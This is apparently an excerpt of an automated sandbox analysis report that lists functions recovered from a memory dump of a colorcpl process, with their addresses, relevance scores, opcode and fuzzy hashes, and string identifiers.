                                                                                                                                                                                    • String ID: %%%u$]:%u
                                                                                                                                                                                    • API String ID: 48624451-3050659472
                                                                                                                                                                                    • Opcode ID: f5d62f779be9b9893652d27ac7113d4838b694a605696e90aa0def9ec3b97bd0
                                                                                                                                                                                    • Instruction ID: d9acf053aa10d35b92e2d69f3594c78670868e4b90ffc6f59b0407da318c82db
                                                                                                                                                                                    • Opcode Fuzzy Hash: f5d62f779be9b9893652d27ac7113d4838b694a605696e90aa0def9ec3b97bd0
                                                                                                                                                                                    • Instruction Fuzzy Hash: C4318B766001199FDB20DE2CCD50BEEB7F8EF44714F844A9AE849E3200EB30BA448F61
                                                                                                                                                                                    Function 04817D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: __aulldvrm
                                                                                                                                                                                    • String ID: +$-
                                                                                                                                                                                    • API String ID: 1302938615-2137968064
                                                                                                                                                                                    • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                                                                                                                                    • Instruction ID: b620d45d1a887b8294cc72f3a2b06c7c13bb1966012c43845088fc5bbf4832c6
                                                                                                                                                                                    • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                                                                                                                                    • Instruction Fuzzy Hash: 50919171E0021A9BDB24DE69C881ABFB7E9AF44724F144F1FEC55E72E0E770A9408761
                                                                                                                                                                                    Function 047D9126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000007.00000002.4525061438.00000000047A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 047A0000, based on PE: true
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048C9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.00000000048CD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    • Associated: 00000007.00000002.4525061438.000000000493E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_7_2_47a0000_colorcpl.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID: $$@
                                                                                                                                                                                    • API String ID: 0-1194432280
                                                                                                                                                                                    • Opcode ID: a790510eb277882791d6407faca28dae2d2b0d4520696e3b8281074e7c692c2f
                                                                                                                                                                                    • Instruction ID: c5aa6d7c078e5bb6e2813a0da6e7137393c4e1025998ef3aa8855a633778ad66
                                                                                                                                                                                    • Opcode Fuzzy Hash: a790510eb277882791d6407faca28dae2d2b0d4520696e3b8281074e7c692c2f
                                                                                                                                                                                    • Instruction Fuzzy Hash: 89810DB1D002699BDB31DF54CC45BEAB7B4AF48714F0446EAEA19B7240E7746E84CFA0